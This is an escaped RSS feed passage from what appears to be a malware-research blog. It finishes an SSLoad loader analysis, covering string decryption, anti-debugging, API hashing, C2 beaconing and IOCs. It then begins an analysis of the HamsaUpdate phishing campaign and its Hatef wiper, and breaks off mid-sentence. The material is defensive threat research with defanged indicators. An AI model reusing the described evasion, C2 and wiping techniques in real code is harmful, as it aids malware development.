&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;scaled_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;scaled_length&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;scaled_length&lt;/span&gt; &lt;span class="o"&gt;*=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Essentially, the encrypted string starts at the 7th byte of the blob, and the
value of &lt;code&gt;scaled_length&lt;/code&gt; determines its length.&lt;/p&gt;
&lt;p&gt;The malware uses Base64 encoding. In this example, the &lt;code&gt;scaled_length&lt;/code&gt; is
calculated to be 30 (&lt;code&gt;0x1E&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig8.png" title="Base64 decryption." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Base64 decryption.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The Base64-decoded payload is then decrypted using the RC4 algorithm with the
key derived earlier. This process decrypts the URL of the Telegram channel.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;SSLoad: The Payload&lt;span class="hx:absolute hx:-mt-20" id="ssload-the-payload"&gt;&lt;/span&gt;
&lt;a href="#ssload-the-payload" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The extracted payload from this file is:
&lt;a href="https://analyze.intezer.com/files/6329244cfb3480eae11070f1aa880bff2fd52b374e12ac37f1eacb6379c72b80?utm_campaign=research-blog&amp;amp;utm_content=ssload-technical-malware-analysis&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;&lt;code&gt;6329244cfb3480eae11070f1aa880bff2fd52b374e12ac37f1eacb6379c72b80&lt;/code&gt;&lt;/a&gt;
which is another Rust file.&lt;/p&gt;
&lt;p&gt;The payload will first create a mutex, using a hardcoded string. This is a
check if the machine is already infected. If the mutex exists, it will cease
execution.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;SSLoad will check the Process-Environment-Block (PEB) to see if the
&lt;code&gt;BeingDebugged&lt;/code&gt; flag is set, as an anti-debugging technique.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Next the library &lt;code&gt;Advapi32.dll&lt;/code&gt; will be dynamically located in memory&lt;/p&gt;
&lt;p&gt;The DLL uses multiple arithmetic operations to derive a rolling XOR key. This
key is used to decode strings dynamically. Every single string that is
decrypted in this format has a unique stub of arithmetic operations and inputs,
therefore every string has a unique XOR key. This is used in order to hamper
static configuration extraction and differs from the method used by the
downloader.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The library &lt;code&gt;Advapi32.dll&lt;/code&gt; is dynamically loaded in order to get the function
&lt;code&gt;RtlGenRandom&lt;/code&gt; (&lt;code&gt;SystemFunction036&lt;/code&gt;). This randomly generated number is used to
help generate a unique name for a working folder. Located under
&lt;code&gt;AppDataRoamingMicrosoft&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Some library calls are dynamically located using a common malware technique.
SSLoad does this by locating the PEB, and finding the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data"target="_blank" rel="noopener"&gt;&lt;code&gt;PEB_LDR_DATA&lt;/code&gt; structure&lt;/a&gt;.
This structure contains information about the currently loaded modules for the
executed process. In this structure it will jump forward to the
&lt;code&gt;InMemoryOrderModuleList&lt;/code&gt;. This is a list of
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data#remarks"target="_blank" rel="noopener"&gt;&lt;code&gt;LDR_DATA_TABLE_ENTRY&lt;/code&gt;&lt;/a&gt;
structures. It will loop through the names of these modules and perform a
simple hash routine comparing it to a hardcoded hash. If the hash matches,
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea"target="_blank" rel="noopener"&gt;the handle&lt;/a&gt;
(&lt;code&gt;HMODULE&lt;/code&gt;) of the module will be returned.&lt;/p&gt;
&lt;p&gt;Similarly, the malware resolves functions by hash, looping through the
functions of the matching module to locate the corresponding function address
based on the hash. It stores these pointers as local variables to be called at
the appropriate time. This technique is most commonly used for the
&lt;code&gt;winhttp.dll&lt;/code&gt; module to evade static analysis that detects network
capabilities.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Next the DLL will start the fingerprinting process, in preparation for sending
a registration beacon to the C2. The fingerprint results are built into a JSON
object. Below are the following fields:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Field&lt;/th&gt;
&lt;th style="text-align: left"&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;version&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;The version of the loader. Hardcoded into the binary.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ip&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;The public IP address, obtained using &lt;code&gt;api.ipify[.]org&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;domain&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;The Windows network domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hostname&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Computer host name taken from environment variable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;arch&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Architecture of the infected machine, taken from environment variable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;os_version&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;The version of the Windows operating system. Retrieved using &lt;a href="https://learn.microsoft.com/en-us/windows/win32/sysinfo/operating-system-version"target="_blank" rel="noopener"&gt;GetVersionExW&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cur_user&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;String indicating whether the current user is an administrator or not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;owner&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Appears to indicate campaign name&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This JSON fingerprint is sent to the C2 over plaintext via a HTTP POST request.
If the registration is successful, the C2 will respond with a JSON object
containing a key and an ID. The &lt;code&gt;key&lt;/code&gt; field is a Base64 string that is used as
an RC4 key in later communications. The ID is a unique identifier for the
infected host that is primarily used to identify itself to the C2 during
further HTTP requests. When the registration is complete, SSLoad will begin its
task beaconing loop. The malware will send a HTTP POST request to the C2, using
the unique identifier as a URL path. No data is sent from the client in this
POST request.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;POST /api/[unique_identifier]/tasks&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If the C2 has a task for the infected host, it will send over a JSON structure
containing a &lt;code&gt;job&lt;/code&gt; and another unique identifier for this job. The job is an
RC4 encrypted struct that is encoded in a Base64 string. The job structure has
two fields, a &lt;code&gt;command&lt;/code&gt;, and an array of arguments. We have only observed the
command &lt;code&gt;exe&lt;/code&gt; in communications, with an argument that is a URL pointing to a
server to download an additional payload. The way that the job struct is formed
means that the malware is designed to be easily expanded to support more
commands in the future.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The comprehensive SSLoad analysis reveals this malware&amp;rsquo;s intricate nature.
SSLoad demonstrates its capability to gather reconnaissance, attempt to evade
detection and deploy further payloads through various delivery methods and
techniques. Its use of a Rust-based downloader, a never-seen-before loader,
implements dynamic string decryption, and anti-debugging measures emphasize its
complexity and adaptability.&lt;/p&gt;
&lt;p&gt;As SSLoad continues to evolve, it highlights the necessity for ongoing
monitoring and advanced threat detection methods to combat malware campaigns
effectively. This analysis deepens our understanding of SSLoad and emphasizes
the importance of adaptive cybersecurity measures in the face of ever-evolving
threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Files&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;90f1511223698f33a086337a6875db3b5d6fbcce06f3195cdd6a8efa90091750&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MSI Installer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;09ffc4188bf11bf059b616491fcb8a09a474901581f46ec7f2c350fbda4e1e1c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;PhantomLoader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;73774861d946d62c2105fef4718683796cb77de7ed42edaec7affcee5eb0a0ee&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;PhantomLoader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6aa3daefee979a0efbd30de15a1fc7c0d05a6e8e3f439d5af3982878c3901a1c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Second stage of the PhantomLoader&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;265514c8b91b96062fd2960d52ee09d67ea081c56ebadd7a8661f479124133e9&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;SSLoad Downaloder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6329244cfb3480eae11070f1aa880bff2fd52b374e12ac37f1eacb6379c72b80&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;SSLoad Payload&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Network&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https://t[.]me/&amp;#43;st2YadnCIU1iNmQy
85.239.53[.]219&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Operation HamsaUpdate: A Sophisticated Campaign Delivering Wipers Puts Israeli Infrastructure at Risk</title><link>https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/</link><pubDate>Wed, 20 Dec 2023 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/</guid><description>
&lt;p&gt;On December 19th, the Israel National Cyber Directorate released an
&lt;a href="https://www.gov.il/he/departments/publications/reports/alert_1687"target="_blank" rel="noopener"&gt;urgent alert&lt;/a&gt;
warning regarding a phishing campaign actively targeting Israeli customers
using F5&amp;rsquo;s network devices. We&amp;rsquo;ve labeled this campaign &lt;strong&gt;Operation
HamsaUpdate&lt;/strong&gt;. It features the deployment of a newly developed wiper malware
that targets both Windows and Linux servers. The campaign leverages a
convincingly written email in Hebrew and utilizes sophisticated social
engineering techniques, pressuring victims to execute the harmful code residing
on their servers. The final attack delivers a complex, multi-stage loader or a
destructive wiper, each variant customized for either Linux or Windows
environments.&lt;/p&gt;
&lt;p&gt;To help identify and combat this threat, the Israel National Cyber Directorate
has made public the Indicators of Compromise (IOCs) associated with this
campaign, including variants of the wiper malware. We&amp;rsquo;ve dubbed the Windows
variant &lt;strong&gt;&amp;lsquo;Hatef&amp;rsquo;&lt;/strong&gt; and the Linux variant &lt;strong&gt;&amp;lsquo;Hamsa&amp;rsquo;&lt;/strong&gt;. During our analysis, we
unearthed a second-stage loader coded in Delphi—which spearheads the execution
of an AutoIt injector. This injector has been given the name &lt;strong&gt;&amp;lsquo;Handala&amp;rsquo;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The following blog post presents a detailed technical examination of the
various threats contained within the Operation HamsaUpdate.&lt;/p&gt;
&lt;h2&gt;Infection Vector: Phishing Email&lt;span class="hx:absolute hx:-mt-20" id="infection-vector-phishing-email"&gt;&lt;/span&gt;
&lt;a href="#infection-vector-phishing-email" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The attack is initiated with a cleverly crafted phishing email that stands out
for its impeccable Hebrew, free of the typical misspellings or grammatical
errors often seen in such schemes. The email&amp;rsquo;s content showcases a
sophisticated level of social engineering, creating a compelling sense of
urgency that is highly persuasive to the recipient.&lt;/p&gt;
&lt;p&gt;Central to the attackers&amp;rsquo; strategy is adopting a phishing theme that exploits
the recent vulnerability discovery in F5&amp;rsquo;s BIG-IP platform. BIG-IP represents an
advanced iteration of Application Delivery Controller (ADC) technology and is
integral to many organizations&amp;rsquo; network infrastructures. The email convincingly
warns the victim that this critical vulnerability has led to a compromise
within their organization. It presses the urgency of the matter, imploring the
recipient to take immediate action by adhering to the directives enclosed in
the email.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig1.png" title="Screenshot of the phishing email published by the Israel National Cyber Directorate." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot of the phishing email published by the Israel National Cyber Directorate.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In a detailed and deceptive request, the victim is instructed to run a specific
file across all their Linux and Windows servers, explicitly including backup
and even localized servers, to address the issue ostensibly. For Linux servers,
the email cunningly guides the victim in utilizing root privileges to execute a
&lt;code&gt;wget&lt;/code&gt; command. Meanwhile, Windows server administrators are instructed to open
and execute an attached archive ZIP file.&lt;/p&gt;
&lt;p&gt;By leveraging a well-known and trusted platform&amp;rsquo;s vulnerability and employing
highly convincing communication, the attackers demonstrate advanced tactics
designed to manipulate their targets into unknowingly compromising their own
network&amp;rsquo;s security.&lt;/p&gt;
&lt;h2&gt;Hacktivism?&lt;span class="hx:absolute hx:-mt-20" id="hacktivism"&gt;&lt;/span&gt;
&lt;a href="#hacktivism" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A group calling itself &amp;ldquo;Handala Hack Team&amp;rdquo; has claimed responsibility for
recent cyber attacks. They present themselves as a newly formed pro-Palestinian
activist group, yet their identity behind the social media profiles remains
uncertain. Handala Hack has set up various social media accounts, including on
Telegram, Tox, Twitter, and BreachForums, and has also launched their own
website, which is currently incomplete. As they reported the attacks in
real-time, they also mocked the Israel National Cyber Directorate (INCD). Their
website&amp;rsquo;s purpose is still unclear, but it may be intended for publicizing
information about hacked targets.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig2.png" title="Hadala Hack Team website." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hadala Hack Team website.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig3.png" title="Posts on social media by Handala Hack Team." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Posts on social media by Handala Hack Team.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The group appears to be targeting social media to gain attention for their
activist hacking. They have produced a video and are actively tagging Israeli
news agencies, influencers, and figures in the cybersecurity industry. Their
posts are being shared on all their social media platforms.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig4.png" title="The video created by Handala Hack Team." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The video created by Handala Hack Team.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The group sent an email to Twitter influencer
&lt;a href="https://twitter.com/DailyDarkWeb/status/1737448749461328216/photo/2"target="_blank" rel="noopener"&gt;@DailyDarkWeb&lt;/a&gt;
claiming that they targeted Israeli government entities, destroying 10TB of
data. No evidence has been provided yet for these claims.&lt;/p&gt;
&lt;p&gt;Besides the group&amp;rsquo;s claims, &lt;strong&gt;we can&amp;rsquo;t make attribution since there is
insufficient evidence&lt;/strong&gt;. Moreover, there&amp;rsquo;s a known tactic where false activist
personas are crafted to imply that independent activists, rather than
government organizations, are behind cyberattacks.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The Loader&lt;span class="hx:absolute hx:-mt-20" id="the-loader"&gt;&lt;/span&gt;
&lt;a href="#the-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;For the Windows variant, there are two known variants of ZIP files that are
delivered. Both ZIP files contain only one file, an exe named &lt;code&gt;F5UPDATER.EXE&lt;/code&gt;,
which is a .NET application that is disguised as a system update tool of F5. It
serves as the first stage loader of the attack.&lt;/p&gt;
&lt;p&gt;In both cases, the loader is implemented in C#, using the same namespace called
&lt;code&gt;SecureDeleteFiles&lt;/code&gt; and defining a class &lt;code&gt;FrmMain&lt;/code&gt;. In both cases, the form
includes a progress bar (&lt;code&gt;prgStatus&lt;/code&gt;), a picture box (&lt;code&gt;pictureBox1&lt;/code&gt;), a label
(&lt;code&gt;label1&lt;/code&gt;), and a button (&lt;code&gt;btnDeleteAllFiles&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Both files extract assembly from the resource section. The payload is written
to System32 and executed.&lt;/p&gt;
&lt;p&gt;The difference between the two archive variants is the payload in the resource.
The loader (&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt;)
extracts a resource called &lt;code&gt;Hatef.exe&lt;/code&gt; which is the executable for the wiper.&lt;/p&gt;
&lt;p&gt;The second loader variant
(&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt;) has two
resources. One is &lt;code&gt;Hatef.exe&lt;/code&gt;, and the other one, which is being extracted, is
a resource called &lt;code&gt;Handala.exe&lt;/code&gt; written in Delphi. The term Handala refers to a
renowned national emblem and embodiment of the Palestinian people. Prior to
that, the loader checks if the file already exists in the System32 directory.
If the file exists, it is deleted. In the following variant, the wiper Hatef is
not used.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Archive SHA256&lt;/th&gt;
&lt;th style="text-align: left"&gt;Type&lt;/th&gt;
&lt;th style="text-align: left"&gt;Loader SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt; (&lt;code&gt;F5UPDATER.EXE&lt;/code&gt;)&lt;br&gt;&lt;code&gt;454e6d3782f23455875a5db64e1a8cd8eb743400d8c6dadb1cd8fd2ffc2f9567&lt;/code&gt; (&lt;code&gt;Handala.exe&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ad66251d9e8792cf4963b0c97f7ab44c8b68101e36b79abc501bee1807166e8a&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt; (&lt;code&gt;F5UPDATER.EXE&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Windows Payload: Hatef Wiper&lt;span class="hx:absolute hx:-mt-20" id="windows-payload-hatef-wiper"&gt;&lt;/span&gt;
&lt;a href="#windows-payload-hatef-wiper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Windows wiper is internally identified by the Persian name &amp;ldquo;&lt;em&gt;Hatef&lt;/em&gt;&amp;rdquo;. The
wiper starts out by retrieving its current process name and checking for other
processes with the same name excluding its own process ID (with guardrails for
matching session IDs and executable paths). This step functions as a singleton
check designed to prevent multiple instances of the malware from running
simultaneously. If there is already a running instance of the wiper, it sets a
specific flag, stops further actions, and terminates prematurely.&lt;/p&gt;
&lt;p&gt;If the singleton check succeeds, the Hatef Wiper checks for Administrator
privileges. If such privileges are missing, the wiper presents a message box,
suggesting it is an updater requiring Administrator access to proceed, a tactic
likely intended to coax the user into granting elevated permissions.&lt;/p&gt;
&lt;p&gt;The program checks if command-line arguments are passed during its initiation.
If the command-line argument does not match &lt;code&gt;ConfirmDeleteFiles&lt;/code&gt;, the wiper
cunningly displays a confirmation message box asking for user affirmation
regarding a purported system update, adding another layer to its deceptive
facade. Should the user approve, or if the action is authorized via the command
line, a duplicitous message appears, falsely stating: &amp;ldquo;The system has been
successfully updated!&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Next, it spawns a new class instance named &lt;code&gt;Service&lt;/code&gt; and invokes its &lt;code&gt;Run&lt;/code&gt;
method. This is where the wiper&amp;rsquo;s core logic comes to life, establishing
multiple lists that maintain a record of directories and files spread across
various locations on the system, including the Users, Program Files, and
Windows directories.&lt;/p&gt;
&lt;p&gt;The program employs a method called &lt;code&gt;OverwriteFileBlockAndDelete&lt;/code&gt; to overwrite
files with 4096-byte blocks of random data and subsequently delete them. It
skips files that are part of the malware&amp;rsquo;s executable process or are located on
a machine named &lt;code&gt;HANDALA&lt;/code&gt;. Handala is the name of the resource and the likely
name of the developer&amp;rsquo;s machine. If a file cannot be overwritten due to an
error, its path is earmarked in a secondary list (&lt;code&gt;filesOtherDrives&lt;/code&gt;) for later
attention.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/12/stealth-wiper-israeli-infrastructure/images/fig5.png" title="Implementation of OverwriteFileBlockAndDelete" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Implementation of OverwriteFileBlockAndDelete&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware wipes key system paths across all connected drives, focusing on
